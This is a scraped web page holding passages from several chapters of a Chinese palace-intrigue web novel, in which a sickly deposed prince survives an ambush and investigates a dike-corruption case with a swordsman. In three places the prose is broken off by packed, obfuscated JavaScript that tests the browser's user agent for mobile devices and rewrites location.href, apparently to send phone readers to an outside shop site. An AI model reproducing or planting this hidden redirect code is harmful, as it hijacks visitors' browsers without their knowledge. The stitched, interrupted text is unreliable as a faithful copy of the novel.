《病美人殿下的养狼手册》 1. 遇刺 《病美人殿下的养狼手册》全本免费阅读 午时骄阳正盛。 僻静的官道上传来了阵阵马蹄声。 官道旁的小茶水铺子里,年轻的伙计探出了个脑袋望了望,就见不远处有一队车马缓缓驶来,他眼睛一亮,兴奋地高声招呼着:“爹,你快看!有车队过来了,人不少呢!” 店老板闻声走了过来,定睛一看:“哟,看这阵仗还是个了不得的贵人呢!赶快收拾收拾,把桌椅什么的都擦擦。” 两人匆匆忙活了起来,伙计擦着桌椅板凳,店老板则新烧起了茶水。 秋老虎的酷热总是让人难以承受,路过的旅人遇上茶水摊总会停下来歇歇凉,这队人马不少,他们可有的赚了。 不多时,车队就行至了茶摊前,缓缓停了下来。 为首的人利落地翻身下马,他没有走进摊子里,而是走向队伍中间的一辆马车前,轻声唤道:“主子,下来歇歇脚吧。” 那马车看着普通,可店老板毕竟在这入京的官道上干了几十年的营生,甭管是走卒贩夫还是达官贵人都见过不少,也因此练出了一双好眼力,立马认出那马是黄骠马,车是紫光檀,帘子是软烟罗,都是寻常人得不到的珍品,于是匆忙恭敬地低下了头。 伙计跟在自家父亲身后,安静地候在摊子前,只是少年人毕竟好奇心重了些,忍不住悄悄抬眸看了一眼。 只是这一抬眸,便移不开视线。 只见那比他们身上衣裳还要柔软的车帘被撩起,从马车中款款走出一人,头戴白玉冠,身着缎白华服,衣料柔软,一看便是顶好的,衣上还用银丝细细绣着流云,轻轻一抖衣摆,便在阳光下映出不一样的光泽。 那人从轿厢中走出,站直了身体,露出了一张俊逸无双的面容。 都说探花郎是世间品貌皆佳最潇洒的男子,可二月初刚看过探花郎游街伙计觉得,先前还觉英俊潇洒的探花郎比起眼前这位公子,那也是像麻雀见了凤凰,可差得远了。 正看得愣神,猛然对上了一双淡漠的眼睛。纤长的眼睫下是一双琥珀色的眼眸,在阳光的映照下泛着琉璃般的光泽,没什么情绪,却看得他双腿发软,止不住地打起了颤。 店老板察觉到了儿子的不对劲,抬头一看,就见自家傻儿子直愣愣抬着头看着前方的贵人,吓得差点犯了心疾,连忙一个巴掌拍在了儿子的后脑勺上,生生把人给按低了脑袋,而后颤巍巍地告罪。 “小孩子不懂事,冒犯了贵人,还望贵人莫怪。” 伙计这时也反应了过来,在父亲的拼命示意下弯着腰颤声讨饶:“望贵人恕罪!” “主子?” 听到侍卫询问的声音,店老板的心高高悬起,随即,便听到一个清越又带着点懒散的声音响起: “无妨,本王又不是见不得人。” 听到这句“本王”,店老板立刻对来人的身份有了猜测。 当今朝廷,如此年轻的王爷有两位,皆是当今圣上之子,一为大皇子荣亲王,另一位,则是废太子,也是圣上的嫡子,安亲王。 而世人皆传,安亲王姿容甚丽,如谪世之仙。 猜到沈知墨的身份,店老板立刻拉着儿子下跪相迎:“竟是王爷莅临,草民真是有眼不识泰山!” 沈知墨并不言语,只是抬手扶着底下侍卫高高举起的手,缓缓走下了轿凳。 沈知墨身边的随侍白霜和扶风立马上前擦拭了桌椅,服侍人坐下后扶风给沈知墨打起了扇,而白霜则走向了跪着的店老板二人。 “老丈,且起吧,劳您给侍卫们准备些消暑的茶水,另外还要借你炭火一用。” “是是是,草民这就去办。”见沈知墨没有出声斥责,店老板松了口气,连忙和儿子一起颤颤巍巍起了身,匆匆去备起了白霜要的东西。 伙计拿着茶壶和茶碗挨个给侍卫倒水,店老板则捧着个小炉递给了白霜,见白霜拿出了一套精致如白玉的茶具,便问道:“小公子可是要烧茶?我去给您取点水来吧。” 白霜笑着阻止:“不必了,这水王爷喝不惯,我们自己带了。” 见白霜从一个大葫芦里倒出干净澄澈的水,店老板识趣地退了下去。 炉火烧的旺,不多时,水便沸了。 白霜拎起茶壶,将沸水高冲入杯,立刻激得茶香四溢,让人闻了心神都安宁许多。 清澈的茶汤入杯,白霜将杯盏往沈知墨面前递了递:“主子,天气炎热,咱们出门在外无法时时带着冰块,您将就用杯热茶解解暑气,夏禾和秋露肯定已经冰镇了西瓜在家候着,等您回了府就能吃上。” 沈知墨懒懒垂着眸,抬手捏住茶杯,微微滑落的袖口露出一截皓腕,腕上戴着一只青玉做的镯子,衬得皮肤更显得冷白了几分。 他举起杯子,轻薄的杯壁透着光,映出指尖上一抹淡粉,他轻抿了一口,开口问道:“离京城还有多远?” “约莫还有六十里。”身后摇扇的扶风利落地答道。 “六十里……”沈知墨低喃一声,指腹轻轻抚过杯沿,“若是车马快些一个时辰便走完了。” 白霜和扶风对视一眼,没敢说话。 沈知墨望着进京的路,眸色深深。 三年前,圣娴皇后病逝,他作为皇后亲子,自请离京为皇后守灵三年,以尽孝道。 皇后陵寝位于京城百里之外,不算远,但却让他三年未曾踏足过京城半步。 如今,三年孝期已过,他终于踏上了这三年来首次回京之路。 这一去,怕是会风云变幻,可有热闹凑了。 沈知墨举杯喝茶,唇角勾起一抹意味深长的笑意。 烈日高悬,连风都停歇了下来,让人本就燥闷的心更烦躁了几分,连草木都蔫巴巴地低了头。 突然,不远处的草丛没来由地一晃,伴随着一阵凌冽的破空之声,一只箭矢急速朝沈知墨飞来,带着一往无前的气势! 变故来的突然,但沈知墨神色未变,利箭直面而来却依旧淡然地举 2. 报恩 《病美人殿下的养狼手册》全本免费阅读 “滚远些,血腥气太重,本王闻着犯恶心。”沈知墨淡淡扫了一眼,很快就挪开了视线。 出乎意料的回答和淡漠的目光让萧梁微微一愣,随即低下头,这才意识到自己的脸上和身上都溅上了刺客的鲜血,虽说在玄色的衣服上看不太清,他自己也没觉着血腥气有多重,但…… 萧梁轻轻“啧”了一声,俯身从刺客身上撕下一块干净的布,胡乱擦了擦脸和衣服。 谁让人家是王爷呢,娇贵。 此时,周围的厮杀声渐渐小了。 眼见着刺杀无果,那领头的蒙面人高呼一声:“撤!” 只是来时十余个刺客已经多半倒在了地上没了声息,只剩下寥寥三五个跟着领头人仓皇逃窜。 穷寇勿追。 扶风和白霜果断回身,挡在了沈知墨身前,防备地盯着眼前人,就见那人拱了拱手,道:“在下萧……” 沈知墨懒懒打了个哈欠:“扶风,赏银百两,收拾一下准备启……” “在下萧梁,”略微提高的音量打断了沈知墨的话,沈知墨微微一眯眼,萧梁便勾唇笑得更加放肆了,朗声道,“是来报恩的!” “放肆!王爷让你说话了吗!” 沈知墨手一抬,让白霜闭了嘴。 他玩味地打量着萧梁,悠然地把手架上桌子轻轻支着额侧,开口问道:“报恩?本王倒是不知自己何时成了个菩萨心肠?” “您是不是菩萨心肠在下不知,但在下知道,十年前,中秋夜……” 伴随着萧梁的讲述,沈知墨隐约忆起了十年前的那个中秋夜。 当年皇后早产,生□□弱多病的沈知墨,连带着自己的身子也愈发不好,两人都成了个药罐子。 十年前,沈知墨七岁,那年生辰他生了一场重病,皇帝便听钦天监所言“命格太弱”,废了沈知墨的太子之位,不过月余的功夫,于沈知墨而言却是翻天覆地的变化。 他离了皇宫,从一国太子变成了“安亲王”,自此和皇后一道长居在京郊的温泉别院中疗养,偶尔进宫,也不过略坐坐就走。 那一年,对于沈知墨而言无疑是迷茫而混乱的,直到中秋团圆夜。 那晚,他照常安安静静赏了小半个时辰的月,就起身请辞离宫。 虽说是团圆夜,却也没人挽留,就连他亲爹——当今圣上也只是说了句:“你母后卧病在床,确是该回去照料,路上小心,让底下人车马行的慢些。” 随后便让人护送沈知墨出城。 中秋佳节,宵禁得以放开,坊市之中灯火通明。 可旁人的热闹与他无关,听来只觉得吵的头疼,于是车马就按着沈知墨的吩咐绕开了那些热闹的街市。 长街幽暗,年岁尚轻的沈知墨坐在晃晃悠悠地马车里,疲累控制不住地翻涌了上来,便用手支着脑袋开始打起了盹。 谁知没过多久,马车忽然一个急停,将陷入浅眠的沈知墨惊醒,随即听到马车外负责送他回家的侍卫厉声呵斥:“哪来的毛头小子?不要命啦!” 沈知墨微微皱起眉,撩开了窗帘…… “那时我家里突遭变故,父母双亡,我流落街头无人理睬,还……”萧梁顿了顿,嗤笑了一声,眼中有别样的情绪一闪而过,“总之我饿了七天,实在熬不下去的时候瞧见了迎面驶过来的马车,便豁出去想求一口饭吃,管他是谁的座驾,最多不过是个死,结果……” “结果遇见了本王,丢给你了一袋金豆子。” 沈知墨可想起来了,那时车马被拦下,车厢外侍卫骂骂咧咧,他撩起窗帘,就看到马车前跪着一个和他年岁差不多的少年,穿着褴褛的单衣,一摇三晃地磕着头:“求大人救我一命,我愿为奴为仆,为大人效力!来世也必定结草携环,以报……” “去去去,哪来的小叫花子,就你这瘦不拉几的模样,能干什么?快滚!知道你挡的谁的道吗?冒犯了二皇子小心砍了你的脑袋!” 沈知墨兴致缺缺,正想放下帘子,突然瞥见那少年按在地上的双手攥得死紧,低垂的侧脸隐隐可见咬紧的后槽牙和眼中的不甘与耻辱,而侍卫还在高声骂着,甚至下了马朝着少年走去,俨然是准备动手的样子。 “大好的日子,吵什么。”沈知墨淡淡开口,止住了侍卫的动作。 他静静地注视了跪伏在地上的少年片刻,在少年带着希冀小心翼翼仰头看来时淡漠开口:“你太弱了,我不需要。” 眼见少年眼中的希望渐渐暗淡,沈知墨伸手从腰间扯下了一个荷包。 那荷包里装着满满的金豆子,本是备着入宫时打赏下人用的,可那些人惯会捧高踩低,像沈知墨这样不受皇帝喜爱的皇子,哪怕是皇后所生又如何,还不是个坐冷板凳的命。 以至于直到出了宫,那金豆子也没撒出去几粒。 于是当沈知墨伸手一扔,那荷包便重重地砸在了少年面前的地上,抽绳散开,滚落了一地的金豆。 那少年愣了,像是难以置信一般猛然抬起头朝着车窗看来,眼中重新亮起了光,脸上也扬起了惊喜的笑容。 不过是一袋金豆子…… 沈知墨微微歪了歪头,眼中有些不解,要知道,这少年身前可还站着几名人高马大的侍卫,他们盯着那金豆的眼睛都已经发了直。 小小少年,群狼环伺,怀璧其罪……何其相似。可他为什么还能开心得起来? 沈知墨沉默地看着那少年奋力磕头谢恩,猛然间,迷茫的心突然如同拨云见日一般,骤然松快了许多。他微微勾起一丝唇角,放下了车帘:“今日本殿下心情好,便赏你了,能不能活下去,全看你自己的命。” 都说人各有命,可沈知墨不甘心就这样认命,想来这少年也是一样。 马车重新动了起来,他带走了虎视眈眈的侍卫,只是身怀其璧,这少年又能撑到几时,他,又能撑到几时…… 沈知墨抬起头。 现下看来,从前那两个疑问已然有一个得到了回答。瘦弱的少年早已长成了高大的男人,而且,身手似乎也还不错…… “当初得殿下相救之恩无以为报,”萧梁垂眸,看见了桌上的茶杯,当即拱了拱手,“如此,萧梁以茶代酒,敬殿下一杯。”说着,长手一伸,拿走了沈知墨身前的茶杯。 “诶你!”白霜和扶风惊呼出声,却已来不及阻止,只能眼睁睁看着萧梁仰头将茶水一饮而尽,随后还倒了下杯子,以示茶水喝尽。 “……”沈知墨盯着萧梁手中空了的茶杯,咬着牙黑沉了脸色。 呵,看来是只长了个子没长脑子! “你、你放肆!”白霜气得涨红了脸,往前一踏就想出招,只是被身边的扶风拦了下来。 扶风盯着萧梁,眼中有气愤,更有防备。 此人身手太高,他和白霜二人拦在身前,可都只看到出手,来不及阻止,而且…… 扶风回头看了看沈知墨,就见他薄唇紧抿,脸色不悦却也没有要治罪的意思。 “怎么了?”萧梁满脸迷茫,顺着白霜充满怒火的视线,他看向了自己手中的茶杯,“哎哟!该不会……是殿下用的茶杯吧?” 他匆匆放下茶杯,拱了拱手致歉:“失礼失礼,我一个江湖人,莽撞惯了,一时没想那么多,下意识就……还望殿下勿怪。” 沈知墨扫了那茶杯一眼,勾唇冷笑:“阁下的身手,真是高啊。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12732560|134394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈知墨点点头,收敛了气势,拿过狄项明身前的空碗帮着盛了碗粥:“这几日日夜奔波,辛苦先生了,吃饭吧。” 狄项明连忙伸出双手去接:“下官不敢,多谢王爷。” 萧梁看看狄项明面前的粥,又看看自己的碗,微微一眯眼,随后手一伸,将碗递了过去:“王爷,我也要。” 沈知墨瞥了他一眼:“你不是刚吃饱吗?” 萧梁撇了撇嘴:“就那一碗,饱什么呀。” 要说饱那也是被气饱了。 听出萧梁语气中的不满之意,沈知墨干脆地把勺子一扔,轻轻一抬下巴:“给本王盛一碗,然后再自己盛。” “……”萧梁沉默片刻,最终还是在沈知墨的注视下接过了勺子,拿起碗,老老实实盛起了粥,递到沈知墨前面。 “是——”他拖长了音,懒洋洋道,“殿下,您用膳。” 沈知墨接过萧梁双手奉上的粥,心满意足地低头喝了起来。 狄项明隐隐觉得气氛有些不太对,又不知哪里不对,只能安安静静喝粥,突然,他想起了一个人。 “对了,郑大人呢?” “他说有点累,先回房了。”沈知墨放下勺子,似是随意地开口,“狄大人觉得,郑大人怎么样?” “怎么样?……不太熟悉,但……”狄项明认真思索了一翻,最后没忍住撇了撇嘴,“有些油滑。” 沈知墨淡淡笑了:“大理寺向来负责审理朝廷百官以及京师徒刑以上的案件,有时不管查还是不查都容易得罪人,而郑宽在这大理寺卿的位子上安安稳稳干了七年,七年间从未被言官弹劾……你猜,他是凭什么?” 狄项明睁大了眼,惊讶的微微张开了嘴。 “方才你离开饭厅后,还不等我拒绝那桌饭菜,郑大人就捂着肚子说自己身体不适,受不了荤腥……” 听郑宽这么说,赵利自然立马就要去找大夫,但被郑宽拦下了:“不过是长途奔波了太久,休息一晚就好了。” “啊?哦……是是是,那王爷……” “本王这两天也是肠胃不适,想来是有些水土不服,这桌佳肴怕是无福消受了。”沈知墨同样婉拒,并朝着县衙外看了看。 郑宽注意到了沈知墨的目光,当即提议道:“这一桌子饭菜赵大人一人怕是也吃不完,不如赵大人分一些给外面的百姓,也给我们换些他们喝的米粥来,我们如今这肠胃,怕是只能喝些清淡的米粥了。” “那下官这就去让厨房煮点粥来,放点鸡茸细细的熬煮,清淡养胃……” “赵大人,”郑宽笑着打断了赵利的话,“天色已晚,不必这么麻烦了,直接端两碗百姓喝的米粥来就行。” 赵利这才意识到不对,他小心翼翼地瞄了眼沈知墨的脸色,心里一颤,连连点头:“是是是,下官这就去办。” 端着米粥回小院的路上,郑宽道:“王爷,方才狄大人没吃东西就回了屋,想必也是肠胃不适,喝点米粥应该能舒服些,只是下官这身子实在有些撑不住,想回屋歇歇,这粥……” 沈知墨微微一笑:“郑大人好好休息,这粥,我给狄大人送过去就行。” …… 狄项明听着沈知墨的描述,豁然开朗:“他、他这是故意的?” “郑宽此人,最懂得分寸二字,什么案子可以严查,什么案子点到为止,他心里自有一杆秤,加上大理寺卿也算位高权重,不敢查的只在少数,因此父皇才让他在这个位子上坐了这么多年,而眼下这个案子恰恰就在他不好查的范围内,但又是皇上下的旨,他不敢不遵从,好在只是协理,那就干脆与我方便,不尽心,也不争功。” 一时之间,狄项明不知该做出怎样的评价。 沈知墨看着狄项明纠结的表情,笑了:“这世上,大多数人最关心的终究是自己的利益,不必苛求,总之,郑大人此行不会给我们太多助益,但也不会对我们进行阻挠,狄大人记住这点就好。” “是……”狄项明点了点头,“那我们接下来该怎么办?要彻查堤坝吗?虽然今天没有看清,但我看那条石棱角锋锐,似是新安上去的。” 沈知墨点了点头:“看来这赵利早就得到了风声,提前找人用条石修补了一部分堤坝以作掩饰。不过这事不急,堤坝就在那,总也跑不掉,现在的重点是这个偷工减料的河堤究竟是谁的主意……” 他转头看向萧梁:“你先前说有个证人,他在哪?” 19. 证人 沈知墨没想到,萧梁所说的证人,竟然是一个傻子。这个“傻子”并非嘲讽,而是真正字面上的含义。 证人名叫陈通,今年三十七岁,但心智却只有七岁,据说是幼时生了场大病烧坏了脑子。 陈通有个哥哥叫陈平,是个水工,曾参与南水县堤坝的建造,兄弟俩关系特别好,县里的人都说陈通生了个好命,就算爹娘死了也有人照顾终老,可后来,陈平和他的父母却意外死于山匪劫杀。 此后,陈通日日爬上堤坝,县里的人都说,他这是在等他哥哥回家。 而就在决堤那天,陈通照常去了堤坝,有人见到他还劝他回家,毕竟下着大雨实在危险,陈通却是不管不顾,照常上了堤坝。 可没过多久,他就神色慌张地跑了下来,一边跑一边喊:“快跑!要溃堤了!快跑!” 没人相信傻子的话。 就算有人不放心去堤坝上看了一眼,见水位线离坝顶还有一段距离,也就没理会陈通的“疯言疯语。” 一炷香后,溃堤了。 “他竟然提前发现了溃堤……”沈知墨目光一凛,“他现在在哪儿?” “我找到他的时候他已经躲进了山里,神色惊惶,看到我出现的时候整个人都在抖,险些没吓晕过去,所以在长风镖局救完人准备离开的时候,我找他们投了个镖。” 沈知墨看向萧梁的眼中流露出几分赞赏的笑意:“聪明啊。” 如果不是萧梁把人护下,恐怕这个陈通已经死于非命了。 “好说,”萧梁轻轻一挑眉,颇为得意,“我已经给长风镖局送了信,他们会把人送回来,明日我便带你去找他。” 为了不打草惊蛇,沈知墨决定乔装打扮悄悄出府,白霜扮成他的样子留在房内,扶风则在外借口沈知墨身子不适挡住其他人的视线。 沈知墨和萧梁刚离开,赵利就来到了院外,说想给安王爷请安,扶风称沈知墨身子不适需要休息谢绝了赵利的探望,可没过多会儿,原本已经离去的赵利竟然再次出现,身边还带着一个大夫。 “王爷乃是千金之躯,可怠慢不得,尤其是现在水患刚过,很容易出现疫病,还是让大夫看诊一下较为妥当。” “不必,王爷在休息,任何人不得打扰。”扶风拦在门外,寸步不让。 这样坚决的态度让赵利不免起了疑,看向屋子的目光更是充满了探究。 就在这时,西侧屋子的房门打开,郑宽从里面走了出来,笑着朝赵利打了声招呼:“赵大人,早啊。” “郑大人。” “赵大人一大清早的在这做什么?” 赵利看了看扶风身后紧闭的房门:“下官来向王爷请安,却听说王爷身子不适,于是连忙找来大夫想要给王爷看诊,可这扶风侍卫却一直拦着……” 郑宽了然地“哦”了一声,随后走了过来,揽着赵利的肩走到了院子中央,轻声对赵利说:“赵大人,你这就不懂了,王爷乃是千金之躯,哪是能随随便便就让别人诊脉的?” “可这……” 郑宽一把按下赵利想要辩解的手,语重心长道:“放心,王爷身边的侍卫各个都是身怀多种绝技,小病小痛他们自己就给王爷治好了,如果他们真的招呼你找大夫,那才是真的不好了。” 赵利被郑宽的话吓得一个哆嗦,害怕地看向郑宽。 郑宽安抚道:“没事没事,你让王爷好好静养两天就成,估计就是水土不服,我昨晚也难受了一晚来着,王爷身子骨弱你也是知道的,肯定得缓个两天才行。” 赵利将信将疑。 就在这时,屋里传来了两声轻咳,随后响起了一声不快的质问:“谁在外面聒噪?” 赵利一个激灵,哆哆嗦嗦正要告罪,就听屋里继续含糊着唤道:“扶风,倒水。” 扶风瞪了赵利一眼,推门进了屋。 赵利连忙对郑宽安静地行了个礼以示感谢,郑宽笑了笑,做了个噤声的动作轻轻抬手挥了挥,于是赵利连忙带着大夫蹑手蹑脚地离开了院子,丝毫没有注意到身后郑宽意味深长地回眸看了那卧房一眼,随后露出一个轻松愉悦的笑容,溜溜达达回了房。 就在赵利坚信安王爷就在院子里好好休息的时候,沈知墨跟着萧梁已经在赶往城外的路上。 “让白霜扮成你的样子真的能混过去吗?他可比你矮些,身形就不像,就算会易容也不行啊,除非在鞋里多塞点东西垫垫。”萧梁问。 “放心吧,用不着易容,”沈知墨低头理了理衣服,“白霜会模仿别人的声音,只要待在屋里说几句话,没人敢冲进去,自然不会被发现。” “不愧是殿下,手下能人众多……怎么了?”萧梁突然发现沈知墨一直在挠着脖子。 “没事,就是有点痒。”沈知墨又理了理衣领,同时歪了歪头。 “别动。”萧梁冷斥一声,一把握住了沈知墨的手。 沈知墨皱眉,天下敢这样对他说话的人不多,萧梁恰好不在其列,这一声呵斥,让他顿时起了火气:“你干什么?” 他用力想要甩掉萧梁的手,却被更用力的握紧。 “别动,”或许是意识到自己的语气有些生硬,这一次,萧梁放轻了声音,柔和地说,“让我看看。” 说着,他微微低下头,朝着沈知墨的方向凑近了些。 太近了。 近的几乎可以感受到对方的呼吸。 沈知墨下意识往后躲了躲,却被一只手按住了后脖颈。 这一动作直接惊得沈知墨浑身一僵,正要炸毛,就感觉脖子上被一只温热的手指轻轻抚过,轻柔的触感如同羽毛划过皮肤,带来别样的酥麻感,让他顿时脑子空白了一瞬,等反应过来刚想要动手,萧梁已经悄然放开了他,站直了身子。 “红了。”萧梁不禁叹息了一声。 不过是脱下往日的丝绸锦缎,换上了一身普通人家常穿的棉麻衣裳,竟然就把脖子磨出了一片红,真不愧是娇贵的小王爷。 “……红了?”沈知墨反应了一会儿,茫然地眨眨眼,火气顿时消了下去,“脖子吗?” 他伸手想要去触碰,被萧梁再次握住手腕拦了下来。 “别挠了,再挠更严重。”萧梁警告地看了沈知墨一眼,然后缓缓松开手,一边从怀里掏些什么一边死死盯着沈知墨的动作,不让他的手靠近脖子半分。 萧梁从怀里掏出了一个青色的小瓷罐,打开罐子,一股清凉的味道扑面而来,可刚伸出手想要帮沈知墨上药,就被一把挡了下来。 “这是什么?”沈知墨微微探着头,警惕地打量着那瓷罐。 “……这是用薄荷金银花马齿苋等药材制成的膏药,可以驱虫止痒。”萧梁将小瓷罐往沈知墨眼前一递。 沈知墨接过瓷罐,微微皱着鼻子嗅了嗅,确定没问题后交回萧梁手里,微微歪了头露出了脖子。 等了一会儿不见萧梁动作,便轻声催促道:“愣着干嘛,上药啊。” 萧梁险些气笑出声,先是显而易见的防备,确认没问题后又毫无愧疚地指使,天下间除了眼前这人真不知还有谁能做出这样无耻的事情……偏偏这人还理所当然地微微仰着头,等着人来服侍…… 罢了,谁让他是沈知墨呢。 萧梁心中一声长叹,到底是伸手挖了勺药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“上次我来南水县时,遍地横尸哭声震天,他们跪在地上拉着我的手,让我帮他们讨个说法,虽说那些和我熟识的人都跟去了京城,但,不该是这个样子。” 萧梁伸出手,指着周围的百姓:“你看看他们的样子,分明就是心如死灰,可他们昨日明明看到了我们的马车入城,虽说我们没有大张旗鼓,但县令都来堤坝上接人,他们肯定能猜出咱们就是查案的钦差队伍,可竟然没有一个人冲上来喊冤?甚至连一丝丝的激动都没有!你觉得,这正常吗?” 他上前两步,径直走到一名男子面前:“这位大哥,你知道这堤坝……” 不过刚说出“堤坝”二字,那男人便一个激灵抬头看向萧梁,颤抖着唇眼中含泪,可到最后,却只说了四个字:“我不知道……”他重复着这四个字,不顾萧梁的挽留踉跄着走开了。 萧梁愣在原地,他回过头和沈知墨对视了一眼,都看出了对方眼中的惊诧与凝重。 随后,俩人又分别问了几人,要么是惊惶逃走,要么是拼命摇头一句话不说,还有人直接跪在地上嚎啕大哭,怒骂“老天无眼”…… 眼看也问不出什么结果,为了避免引起过多注意,两人没敢再问,匆匆离开了。 “看来在我离开的那段时间,发生了不少事。”萧梁暗暗握紧了拳。 沈知墨抬起手,犹豫了一下,最终把手搭在了萧梁的肩上,轻轻拍了拍:“至少你还护下了陈通,”他深吸口气,抬眸坚定道,“走吧,不能再耽搁了。” 20. 陈通?陈平! 破庙位于城南郊外约三里处,虽说离洛河近,但因为坐落于半山腰,幸免于难。 沈知墨和萧梁到时,破庙外已经挂起了长风镖局的镖旗。这是在告诉来往的人,长风镖局押镖,若有人敢动心思,那就要做好与长风镖局为敌的准备,这是大雍第一镖局的底气。 两人刚走近,破庙内的镖师立马警醒地看了过来,见是萧梁,他们放松了身子,朝着两人点了下头。 “萧大侠,人我给你送来了,就在里面,这一趟镖就算走完了,放心,绝对全须全尾,也没人对他下手,不过……”镖师不好意思地笑了笑,“我们捆了他两天,没办法,他老是想逃,要是真给他跑出去了,恐怕小命难保,我们也没法给你交代,就只能采取了一些措施,你进去看看吧。” “没事,你们办事我放心,”萧梁从怀里掏出一袋银子扔到镖师手里,“辛苦了,去吃点好的吧。” 镖师掂了掂手里的钱袋子,笑着朝两人拱了拱手:“行,有需要再找我们,随叫随到。” 望了眼镖师们离开的背影,沈知墨转头又看了看萧梁:“你好像和他们很熟。” “江湖行走,打过几次交道,他们挺靠谱的,你以后有需要也可以找他们,”萧梁眯眼一笑,“记得报我的名儿,他们肯定给你打折。” 沈知墨将他上下看了看,忍不住含笑白了他一眼:“哟,那可真谢谢了。” 两人一边说着,一边走了进去,可是却没有看到人,沈知墨刚想着该不会遇上骗子了,就见结满蛛网的破落佛像后露出了一片衣角,还在疯狂的颤抖。 沈知墨和萧梁对视一眼,一人一边围了过去。 “陈通?”沈知墨试探着喊了一声,“你是陈通吗?” 随着他这一声喊,那片衣角抖的更厉害了。 沈知墨的脚步犹豫了一瞬,随后继续往佛像靠近,很快,就看到了那个躲在佛像之后的身影。 他蜷成了一团,单薄的衣服透出瘦弱的骨骼,头埋在怀里,只能看见凌乱的灰白色的头发……灰白色的头发?不是说陈通才三十多岁吗? 沈知墨心中疑惑,探着头想要看清陈通的长相,可他把自己的脸埋得太严实了,沈知墨根本看不到,于是便伸出手想要把人拉出来。 刚碰到衣料,眼前人却突然猛地起身,朝着另一侧飞奔了出去。 沈知墨被这突如其来的举动惊得愣了一瞬,同时脱口而出:“萧梁!” 另一侧,萧梁及时出现在了陈通的面前挡住了去路,抬起握着长刀的手轻轻一绕,便将人扭住手用刀按在了佛像背面。 “没事吧?” 沈知墨摇了摇头,走了过来。 萧梁还是有些不放心,亲自用目光将人上上下下检查了一番,确定一根头发丝儿都没少后,才转头看向了手下押着的陈通:“陈通,你冷静点!” “放开我!放开我!我什么都不知道……我不知道……别找我!放开我……”陈通奋力挣扎着,嘴里也胡乱地喊着,声嘶力竭,完全不在可以沟通的状态。 “陈通!”萧梁紧了紧手上的力道,厉喝一声想要唤醒陈通的理智,可完全没有作用,只能无奈地看向沈知墨,“怎么办?我救下他的时候他只是呆呆的,没想到过了段时间竟然直接疯了!啧,本来痴痴傻傻已经够有难度了,现在这样更是难度加倍啊,这还怎么问话!” 沈知墨眯着眼,沉默地注视着陈通良久,随后轻笑一声:“你没见过真正疯了的人吧?” “啊?”萧梁有些茫然。 “真正疯了的人,是没法控制自己的行为和思维的,当你接近他,他可能会连一个眼神都不给你,也可能在某一瞬突然朝着你进行攻击,或挠或咬,就算衣不蔽体他们也不会有感觉,因为他们早已经忘记了什么叫礼义廉耻,他们的语言也是混乱的,左一句右一句毫无逻辑,基本上无法从中获得任何信息,而他,”沈知墨目光锐利地看着陈通,“从一开始就躲在佛像之后,颤抖,逃跑,到挣扎呼救,他的所有言行都存在一个逻辑——逃。” 他冷哼一声,骤然伸出手抓着陈通的肩膀把人翻过来,一把掐住陈通的脖子。 陈通背靠着佛像,拼命仰起了头,双手下意识抓住沈知墨掐住脖子的手想要掰开,却是撼动不了分毫。 萧梁一惊,原本因为沈知墨的动作收回的手匆忙伸了出去:“诶!这是做什么?” 沈知墨眸色一沉。 他从来不是什么好人,出生朝堂,早就见惯了尔虞我诈看多了严刑酷法,可萧梁,是侠客…… “也不怕他咬你,松手,我来。” 沈知墨抬眼,愣愣地看着萧梁,任由他一边掐住陈通,一边把自己的手拿了下来。 由于被陈通挣扎得烦了,萧梁干脆一只手掐住陈通的脖子,另一只手控制住陈通的双手将其按在他的胸前,这么一来,陈通不仅动弹不得,出个声还会被使劲一掐直接连呼吸都给停了,顿时安静了下来。 “行了,你来问吧。” “啊?嗯……”沈知墨少见地茫然了片刻,不过很快,他就收拾好了杂乱的情绪,看向陈通,“陈通,本王知道你没疯,你听好了,本王乃是当朝二皇子,安亲王沈知墨,此次奉旨前来彻查洛河溃堤一案,你若有冤要伸大可告诉本王,本王自会为你做主,可若是你一味装疯卖傻……” 沈知墨声音一低,萧梁手中的力道也顺势一紧,掐得陈通仰起脖子,满脸通红,眼中一片惊恐之色。 “本王相信你并非不怕死,当然你也可以选择宁死不屈,但你要知道,除了本王,还有另外的人在找你,若是让他们找到你,你的下场绝不会比在本王手上时更好,”沈知墨勾唇一笑,“说起来,若是把你放出去,说不定是个很好的饵,可以钓得出我想要的大鱼,只是万一鱼没钓到却丢了饵,你觉得,你会怎么死?” 萧梁感觉到手下人一个哆嗦,眼中惊恐之色越重,甚至泛起了泪光,挣扎的力道也渐渐弱了下去,他眼睛一亮,给沈知墨使了个眼神。 有希望! 沈知墨立刻会意,深吸口气柔和了语气:“我知道你心里也有不甘,想来你也猜到了,你哥哥的死和这堤坝贪污案应该脱不了关系,十年前你因此家破人亡,十年后整个南水县都遭此横祸,我听说你在决堤前高喊提醒,你也想救下他们的对吗?你的街坊邻居,亲朋好友……如今灾祸已经发生,但至少,不该让他们死的不明不白吧?” 随着沈知墨的劝说,萧梁缓缓松开了手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12732562|134394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 